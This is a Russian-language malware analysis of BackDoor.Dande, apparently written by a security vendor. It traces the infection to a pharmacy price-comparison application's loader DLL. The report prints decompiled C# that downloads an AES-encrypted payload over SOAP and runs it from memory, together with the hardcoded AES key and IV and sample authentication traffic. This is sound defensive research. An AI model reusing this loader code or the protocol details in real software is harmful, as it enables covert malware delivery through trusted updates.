SHA1:
установщик | 64b57c90bcbf71ae4a28f8f742821c123bfb8061 |
---|---|
драйвер 1 | 65384de87e53a9249553b6f38c9b48da3ec4e041 |
драйвер 2 | 1a22a6c9cd04b25a108e08aa6e35637154e5aee6 |
троянец | 781262c98f1bdd4e61cd888f71ccc712ff296bf6 |
PriceCompareLoader.dll | b3915aa38551a5b5270b23e372ae1241161ec598 |
PriceComparePm.dll | 014a9166c5516a5193b6b638eeae635170f25829 |
Троянец-бэкдор, предназначенный для кражи у аптек и фармацевтических компаний информации о закупке медикаментов. Компания «Доктор Веб» исследовала источник заражения этой версией вредоносной программы. В изученном образце драйвер tapec.sys (Dande), который запускает все остальные компоненты троянца, был создан 28 апреля 2016 года:
04/28/16 11:34:59.9062500000;12/11/02 23:14:32.0000000000;06/16/16 12:28:52.5468750000 C:\Windows\System32\drivers\msteeb.sys
04/28/16 11:35:00.2031250000;04/15/08 17:00:00.0000000000;06/16/16 12:28:52.5312500000 C:\Windows\System32\drivers\tapec.sys
04/28/16 11:35:01.0468750000;12/25/08 22:00:20.0000000000;06/16/16 12:28:53.6250000000 C:\Windows\System32\drivers\telephona.cpl
Поиск строки tapec.sys показал его наличие в двух файлах:
- pagefile.sys (файл подкачки)
- Avast\URL.db (журнал Avast в формате базы данных sqllite3)
База данных содержит две таблицы:
sqlite> .schema
CREATE TABLE Paths (Time INTEGER, Path TEXT COLLATE NOCASE UNIQUE, ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);
CREATE TABLE URLs (Time INTEGER, URL TEXT, ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);
CREATE INDEX PathsPathIndex ON Paths (Path COLLATE NOCASE);
CREATE INDEX URLsShortHashIndex ON URLs (ShortHash);
где Paths – список программ, которые запускались на исследуемом компьютере. Повторный поиск в диапазоне одного дня до и после создания вредоносного драйвера выявил два интересных события:
1461832499|D:\ePrica\App\PriceCompareLoader.dll|2038233152|
1461832500|C:\WINDOWS\system32\drivers\tapec.sys|2510498394|
Вредоносный драйвер был создан через секунду после запуска библиотеки D:\ePrica\App\PriceCompareLoader.dll, являющейся частью приложения ePrica.
Исследование ePica
ePrica — это приложение, разработанное компанией «Спарго Технологии», которое позволяет руководителям аптек проанализировать расценки на медикаменты и выбрать оптимального поставщика. Используемая этой программой библиотека PriceCompareLoader.dll имеет три экспортируемые функции:
MemoryLoadLibrary
MemoryGetProcAddress
MemoryFreeLibrary
Все эти функции выполняют запуск библиотек в памяти. PriceCompareLoader.dll вызывается из PriceComparePm.dll. Библиотека обфусцирована при помощи .NET Reactor 4.7. Эта библиотека пытается скачать с сайта полезную нагрузку, расшифровать ее с помощью алгоритма AES и запустить из памяти. Ниже представлен код загрузки и запуска файла:
public static void Download()
{
try
{
if (!UpdateDownloader.bool_0)
{
Guid sessionId = Settings.SESSION.SessionId;
if (!(sessionId == Guid.Empty))
{
UpdateService updateService = new UpdateService();
MyUtils.ConfigureWebServiceProxy(updateService, false);
int @int = SettingsAllUsers.GetInt("UPDATE_FLAG");
if (@int >= 0)
{
bool success = false;
if (@int > 0)
{
success = true;
}
DateTime date = SettingsAllUsers.GetDate("UPDATE_FLAG_MODIFIED");
updateService.ResetUpdateFlag(sessionId, success, date);
SettingsAllUsers.SetDirect("UPDATE_FLAG", -1);
}
else if (updateService.CheckUpdateFlag(sessionId))
{
byte[] array = new byte[UpdateDownloader.qOmraPoxb];
int num = 0;
while (true)
{
byte[] array2 = updateService.Load(sessionId, num);
try
{
array2 = AesEncryptor.Decrypt(array2, UpdateDownloader.byte_0, UpdateDownloader.byte_1);
}
catch
{
num = 0;
break;
}
int num2 = 0;
if (array2 != null)
{
num2 = array2.Length;
}
if (num2 == 0 || num + num2 > UpdateDownloader.qOmraPoxb)
{
break;
}
Array.Copy(array2, 0, array, num, num2);
num += num2;
}
if (num > 0 && num <= UpdateDownloader.qOmraPoxb)
{
Array.Resize<byte>(ref array, num);
UpdateDownloader.bool_0 = true;
Thread thread = new Thread(new ParameterizedThreadStart(UpdateDownloader.smethod_0));
thread.Start(array);
}
else
{
updateService.ResetUpdateFlag(sessionId, false, DateTime.get_Now());
}
}
}
}
}
catch
{
}
}
Ключ и вектор AES:
static UpdateDownloader()
{
Class3.uNNUGvkzmboS2();
UpdateDownloader.qOmraPoxb = 2097152;
UpdateDownloader.byte_0 = new byte[]
{
57,
75,
140,
42,
22,
100,
103,
39,
168,
179,
86,
81,
247,
11,
224,
242,
23,
154,
186,
128,
130,
171,
200,
170,
128,
217,
247,
238,
80,
200,
146,
12
};
UpdateDownloader.byte_1 = new byte[]
{
88,
199,
157,
130,
155,
231,
168,
148,
97,
45,
227,
215,
3,
234,
61,
172
};
}
Код проверки обновления:
private static void smethod_0(object object_0)
{
bool flag = false;
try
{
byte[] array = object_0 as byte[];
if (array != null)
{
SettingsAllUsers.SetDirect("UPDATE_FLAG", -2);
flag = CheckUpdate.Check(array);
}
}
catch
{
}
finally
{
try
{
if (flag)
{
SettingsAllUsers.SetDirect("UPDATE_FLAG", 1);
}
else
{
SettingsAllUsers.SetDirect("UPDATE_FLAG", 0);
}
SettingsAllUsers.SetDirect("UPDATE_FLAG_MODIFIED", DateTime.get_Now());
}
catch
{
}
UpdateDownloader.bool_0 = false;
}
}
Код запуска из памяти:
public static bool Check(byte[] byte_0)
{
IntPtr intPtr = IntPtr.Zero;
IntPtr intPtr2 = IntPtr.Zero;
try
{
if (byte_0 == null)
{
bool result = false;
return result;
}
intPtr2 = Marshal.AllocHGlobal(byte_0.Length);
Marshal.Copy(byte_0, 0, intPtr2, byte_0.Length);
intPtr = CheckUpdate.Class1.MemoryLoadLibrary(intPtr2);
if (intPtr == IntPtr.Zero)
{
bool result = false;
return result;
}
IntPtr intPtr3 = CheckUpdate.Class1.MemoryGetProcAddress(intPtr, "ModuleFunction");
if (intPtr3 == IntPtr.Zero)
{
bool result = false;
return result;
}
CheckUpdate.Delegate0 @delegate = (CheckUpdate.Delegate0)Marshal.GetDelegateForFunctionPointer(intPtr3, typeof(CheckUpdate.Delegate0));
@delegate(IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
}
catch
{
bool result = false;
return result;
}
finally
{
try
{
if (intPtr != IntPtr.Zero)
{
CheckUpdate.Class1.MemoryFreeLibrary(intPtr);
}
}
catch
{
}
try
{
if (intPtr2 != IntPtr.Zero)
{
Marshal.FreeHGlobal(intPtr2);
}
}
catch
{
}
}
return true;
}
Протокол
Библиотека обменивается информацией с удаленным сервером с использованием протокола SOAP HTTP. Для авторизации осуществляется отправка POST-запроса на сервер http://ws.eprica.ru/app/InfoService.asmx со следующим заголовком:
'SOAPAction': "http://www.spargo.ru/es/LoginEx"
Данные для авторизации имеют следующую структуру:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<LoginEx xmlns="http://www.spargo.ru/es">
<wsUser>
<LicenseNumber>071122-164229</LicenseNumber>
<SessionId>00000000-0000-0000-0000-000000000000</SessionId>
<GuidDrugstore>00000000-0000-0000-0000-000000000000</GuidDrugstore>
<KodDrugstore>105570</KodDrugstore>
<Login>Администратор</Login>
<PasswordHash>/9P+uFEEaqgoKiKOQOZnOw==</PasswordHash>
<Version>4.0.26.30</Version>
<ComputerInfoHash>NVQKLJBTV1</ComputerInfoHash>
<AccessCode>ED287118-3933-4E97-95A7-9D3C4CF94421</AccessCode>
<DownloadedUpdateVersion>4.0.23.17</DownloadedUpdateVersion>
</wsUser>
<password>1230456</password>
</LoginEx>
</soap:Body>
</soap:Envelope>
В ответ поступает sessionId следующего вида:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<LoginExResponse xmlns="http://www.spargo.ru/es">
<LoginExResult>
<SessionId>64ad19a5-d8c3-481c-a95e-95ce9a3722ff</SessionId>
<AccessCodeNew>F06BBB44-558B-4C43-A278-1E7B787FE986</AccessCodeNew>
<ContentServiceUrl>https://pharmadata.ru/content/ContentUploadService.asmx</ContentServiceUrl>
<PackSize>0</PackSize>
<MobOrderCheckIntervalSec>300</MobOrderCheckIntervalSec>
<IsMobOrderDisabled>false</IsMobOrderDisabled>
<HasMobOrder>false</HasMobOrder>
<LastLogSave>2016-12-08T12:41:44.0065516+03:00</LastLogSave>
</LoginExResult>
</LoginExResponse>
</soap:Body>
</soap:Envelope>
Для получения полезной нагрузки направляется запрос к серверу http://ws.eprica.ru/app/UpdateService.asmx со следующим заголовком:
"SOAPAction": 'http://www.spargo.ru/es/Load'
Передается следующий xml-файл:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Load xmlns="http://www.spargo.ru/es">
<guidSession>%s</guidSession>
<offset>%d</offset>
</Load>
</soap:Body>
</soap:Envelope>
Параметр offset используется, поскольку файл отдается частями. Ответ сервера имеет следующий вид:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<LoadResponse xmlns="http://www.spargo.ru/es">
<LoadResult>fzzvOyrIohvnXggrGy35PtG9BG79/v7MebMKMMu+lN...
</LoadResult>
</LoadResponse>
</soap:Body>
</soap:Envelope>
Передаваемая в base64 полезная нагрузка зашифрована с использованием алгоритма AES. В ней находится установщик BackDoor.Dande. Сама библиотека имеет действительную цифровую подпись SPARGO Technologies:
В процессе установки BackDoor.Dande удаляет файлы старой версии Dande: isaPnpPrt.sys, RpcSsPrt.sys, BackDoor.Dande.2. Троянец выбирает случайное имя из папки %SYSTEM32%\drivers\ и сохраняет свою копию с таким же именем, но добавляет в конец несколько случайных символов. Файлы для сохранения троянец извлекает из секции .cdata и .bdata, данные хранятся в контейнере BackDoor.Dande.2. В драйвере, имеющем SHA1 65384de87e53a9249553b6f38c9b48da3ec4e041, обновляется имя до зашифрованного контейнера, таким образом удаляется цифровая подпись, которая ранее была действительна. В остальном процедура установки аналогична таковой для BackDoor.Dande.2.